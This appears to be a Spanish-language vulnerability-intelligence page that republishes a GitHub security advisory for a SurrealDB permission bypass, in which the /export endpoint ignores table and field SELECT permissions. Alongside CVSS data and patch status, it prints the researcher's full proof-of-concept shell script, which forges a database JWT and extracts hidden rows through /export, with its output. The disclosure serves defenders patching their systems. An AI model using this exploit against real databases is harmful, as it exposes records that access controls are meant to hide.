llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · surrealdb

GHSA-QH3V-RR48-X3CQ

Omisión de permisos en exportación autenticada

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición17 dDesde la divulgación, 3 nov 2026, 10:51 a. m.
Detección17 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Hoy toca mantenimiento, no heroísmo.Si haces parches mensuales, ya estás cubierto.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 4.0.0
Monitoreo
Detectada +1
3 nov 26
20 nov 26
21 nov 26
3 nov 26
8 nov 26
12 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-QH3V-RR48-X3CQ divulgada · CVSS 6.5 (GitHub)
Remediación Parche 4.0.0 surrealdb · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Omisión de permisos en exportación autenticada

Resumen

En la revisión `18971ffba781a796c0ad3897bb4b82432c241e4c`, un llamador autenticado con permiso de vista de base de datos puede invocar `GET /export` y recibir registros sin procesar sin que se apliquen el predicado `SELECT` de la tabla ni la proyección `SELECT` a nivel de campo que la misma sesión del llamador sí impone en `/sql`. Una comparación en tiempo de ejecución fijada, con un JWT de base de datos que lleva `AC=low` y `RL=[]`, devolvió una exportación no vacía que contenía una fila de un no propietario y un campo `SELECT NONE`, mientras que el mismo token en SQL devolvió solo la fila visible para el propietario y un registro de control sin restricciones. Esto demuestra una omisión de confidencialidad en la revisión exacta probada; no se infiere ningún rango de publicación más amplio.

Detalles técnicos

El manejador HTTP de exportación en `surrealdb/server/src/ntw/export.rs` verifica la capacidad de la ruta, exige un namespace y una base de datos, autoriza `View` sobre la base de datos y llama a `db.export_with_config(&session, ...)`. `Datastore::export_with_config` crea una transacción de solo lectura y delega en la implementación de exportación de `surrealdb/core/src/kvs/export.rs`.

La cadena de exportación llega a `export_table_data` y `export_regular_data`. Este último recorre los registros clave/valor sin procesar, decodifica cada valor y emite una sentencia `INSERT`. Esa ruta no evalúa el predicado `SELECT` de la tabla de la sesión solicitante ni aplica el filtro de permisos a nivel de campo antes de la serialización. La ruta `/sql` usa la misma sesión, verifica la visibilidad de la tabla durante la resolución de registros y filtra los campos antes de devolverlos. En consecuencia, las dos superficies de lectura compatibles exponen datos distintos al mismo principal autenticado.

PoV

La siguiente fixture la ejecuta el PoC como administrador de base de datos root, después de seleccionar el namespace `lab` y la base de datos `db`:

-- Fixture for the authenticated database JWT /export versus /sql
-- differential. Execute these statements as the root database administrator
-- after selecting namespace lab and database db.
DEFINE TABLE secrets SCHEMAFULL PERMISSIONS FOR SELECT WHERE owner_key = 'attacker';
DEFINE FIELD owner_key ON secrets TYPE string;
DEFINE FIELD secret ON secrets TYPE string PERMISSIONS FOR SELECT NONE;
DEFINE TABLE public SCHEMAFULL PERMISSIONS FULL;
DEFINE FIELD marker ON public TYPE string PERMISSIONS FULL;

CREATE secrets:owned SET owner_key = 'attacker', secret = 'owned-secret';
CREATE secrets:hidden SET owner_key = 'other-principal', secret = 'hidden-secret';
CREATE public:control SET marker = 'export-control';

-- The PoC signs an HS256 database access token with this key and sends
-- RL:[] so the caller is database-scoped but has no built-in Viewer role.
DEFINE ACCESS low ON DATABASE TYPE JWT ALGORITHM HS256 KEY 'runtime-low-key';

La tabla `secrets` debe exponer solo la fila `attacker`, y el campo `secret` debe quedar oculto. `public:control` es un registro de control sin restricciones. El token del llamador es un JWT de base de datos para `lab`/`db` con el acceso `low` y una lista de roles explícitamente vacía (`RL=[]`).

PoC

Ejecútelo desde un directorio de trabajo temporal, con el ejecutable probado disponible en `PATH` como `surreal`. Las comprobaciones fijan su versión, su SHA-256, la revisión del código fuente y el contenido de la fixture. El bloque crea su propia fixture, indica explícitamente el directorio de trabajo, guarda cada cuerpo HTTP antes de mostrarlo y usa el mismo JWT de base de datos para `/export` y `/sql`:

set -eu
SURREAL_BIN=$(command -v surreal)
test -x "$SURREAL_BIN"
tested_revision=18971ffba781a796c0ad3897bb4b82432c241e4c
expected_binary_version='3.3.0-nightly for linux on x86_64'
expected_binary_sha256=b4170108564b55f4b37275e9b87cbc2b50e4dc9933c9f4bcbeb331b5b58a7dc4
command -v sha256sum >/dev/null 2>&1
binary_sha256=$(sha256sum "$SURREAL_BIN" | awk '{print $1}')
binary_version=$("$SURREAL_BIN" version 2>&1 | tail -n 1)
printf 'tested_revision=%s\n' "$tested_revision"
printf 'binary_version=%s\n' "$binary_version"
printf 'binary_sha256=%s\n' "$binary_sha256"
test "$tested_revision" = '18971ffba781a796c0ad3897bb4b82432c241e4c'
test "$binary_version" = "$expected_binary_version"
test "$binary_sha256" = "$expected_binary_sha256"
workdir=$(mktemp -d)
server_pid=
cleanup() { kill "$server_pid" 2>/dev/null || true; wait "$server_pid" 2>/dev/null || true; rm -rf "$workdir"; }
trap cleanup EXIT INT TERM
cp "$SURREAL_BIN" "$workdir/surreal"
cd "$workdir"
chmod 755 ./surreal

cat >fixture.surql <<'SURQL'
-- Fixture for the authenticated database JWT /export versus /sql
-- differential. Execute these statements as the root database administrator
-- after selecting namespace lab and database db.
DEFINE TABLE secrets SCHEMAFULL PERMISSIONS FOR SELECT WHERE owner_key = 'attacker';
DEFINE FIELD owner_key ON secrets TYPE string;
DEFINE FIELD secret ON secrets TYPE string PERMISSIONS FOR SELECT NONE;
DEFINE TABLE public SCHEMAFULL PERMISSIONS FULL;
DEFINE FIELD marker ON public TYPE string PERMISSIONS FULL;

CREATE secrets:owned SET owner_key = 'attacker', secret = 'owned-secret';
CREATE secrets:hidden SET owner_key = 'other-principal', secret = 'hidden-secret';
CREATE public:control SET marker = 'export-control';

-- The PoC signs an HS256 database access token with this key and sends
-- RL:[] so the caller is database-scoped but has no built-in Viewer role.
DEFINE ACCESS low ON DATABASE TYPE JWT ALGORITHM HS256 KEY 'runtime-low-key';
SURQL

fixture_sha256=$(sha256sum fixture.surql | awk '{print $1}')
printf 'fixture_sha256=%s\n' "$fixture_sha256"
test "$fixture_sha256" = c707a2cc6942d30c357770320f7a1e84bd59be8a07f6141441cd81e2a5028ff1

base=http://127.0.0.1:8000
./surreal start --bind 127.0.0.1:8000 memory --no-banner --log error \
  --user root --pass root >surreal-export.log 2>&1 &
server_pid=$!

ready=0
i=0
while [ "$i" -lt 60 ]; do
  if curl --silent --show-error --fail --max-time 2 "$base/ready" >/dev/null; then
    ready=1
    break
  fi
  i=$((i + 1))
  sleep 1
done
test "$ready" -eq 1

curl --silent --show-error --fail --user root:root \
  --data-binary 'DEFINE NAMESPACE lab;' "$base/sql" >/dev/null
curl --silent --show-error --fail --user root:root \
  -H 'surreal-ns: lab' --data-binary 'DEFINE DATABASE db;' "$base/sql" >/dev/null
curl --silent --show-error --fail --user root:root \
  -H 'surreal-ns: lab' -H 'surreal-db: db' \
  --data-binary @fixture.surql "$base/sql" >/dev/null

b64url() { base64 | tr '+/' '-_' | tr -d '=\n'; }
now=$(date +%s)
header=$(printf '%s' '{"alg":"HS256","typ":"JWT"}' | b64url)
payload=$(printf '{"NS":"lab","DB":"db","AC":"low","RL":[],"iat":%s,"exp":%s}' \
  "$now" "$((now + 3600))" | b64url)
unsigned="$header.$payload"
signature=$(printf '%s' "$unsigned" | \
  openssl dgst -sha256 -hmac 'runtime-low-key' -binary | b64url)
token="$unsigned.$signature"
printf 'token_claims=NS=lab DB=db AC=low RL=[]\n'

curl --silent --show-error --fail \
  -H "Authorization: Bearer $token" \
  -H 'surreal-ns: lab' -H 'surreal-db: db' \
  "$base/export" | tee export.sql

sql_query='RETURN $auth.id; SELECT * FROM secrets; SELECT * FROM public;'
curl --silent --show-error --fail \
  -H "Authorization: Bearer $token" -H 'Content-Type: text/plain' \
  -H 'surreal-ns: lab' -H 'surreal-db: db' \
  --data-binary "$sql_query" "$base/sql" | tee sql.json

contains() { grep -Fq "$1" "$2"; }
contains 'secrets:hidden' export.sql && export_hidden_row=1 || export_hidden_row=0
contains 'hidden-secret' export.sql && export_hidden_field=1 || export_hidden_field=0
contains 'secrets:hidden' sql.json && sql_hidden_row=0 || sql_hidden_row=1
contains 'hidden-secret' sql.json && sql_hidden_field=0 || sql_hidden_field=1
contains 'secrets:owned' sql.json && sql_owned_row=1 || sql_owned_row=0
contains 'public:control' sql.json && sql_control_row=1 || sql_control_row=0
printf 'export_contains_hidden_row=%s\n' "$export_hidden_row"
printf 'export_contains_hidden_field=%s\n' "$export_hidden_field"
printf 'sql_omits_hidden_row=%s\n' "$sql_hidden_row"
printf 'sql_omits_hidden_field=%s\n' "$sql_hidden_field"
printf 'sql_contains_owned_row=%s\n' "$sql_owned_row"
printf 'sql_contains_control_row=%s\n' "$sql_control_row"
test "$export_hidden_row" -eq 1
test "$export_hidden_field" -eq 1
test "$sql_hidden_row" -eq 1
test "$sql_hidden_field" -eq 1
test "$sql_owned_row" -eq 1
test "$sql_control_row" -eq 1

Los dos comandos `tee` muestran y guardan los cuerpos completos de las respuestas, de modo que ninguna respuesta mostrada es una copia acortada ni normalizada por separado. El PoC emite las siguientes líneas deterministas; los cuerpos de las respuestas aparecen entre la línea `token_claims` y las seis líneas de resultado, y se omiten aquí:

tested_revision=18971ffba781a796c0ad3897bb4b82432c241e4c
binary_version=3.3.0-nightly for linux on x86_64
binary_sha256=b4170108564b55f4b37275e9b87cbc2b50e4dc9933c9f4bcbeb331b5b58a7dc4
fixture_sha256=c707a2cc6942d30c357770320f7a1e84bd59be8a07f6141441cd81e2a5028ff1
token_claims=NS=lab DB=db AC=low RL=[]
export_contains_hidden_row=1
export_contains_hidden_field=1
sql_omits_hidden_row=1
sql_omits_hidden_field=1
sql_contains_owned_row=1
sql_contains_control_row=1

La respuesta de POST `/sql` con el mismo token respon

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
surrealdb< 4.0.0
4.0.0
4.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iosurrealdb
Corregida 4.0.0 0 d 4.0.1 no afectada
Versiones corregidas4.0.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/surrealdb/surrealdb/security/advisories/GHSA-qh3v-rr48-x3cq

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.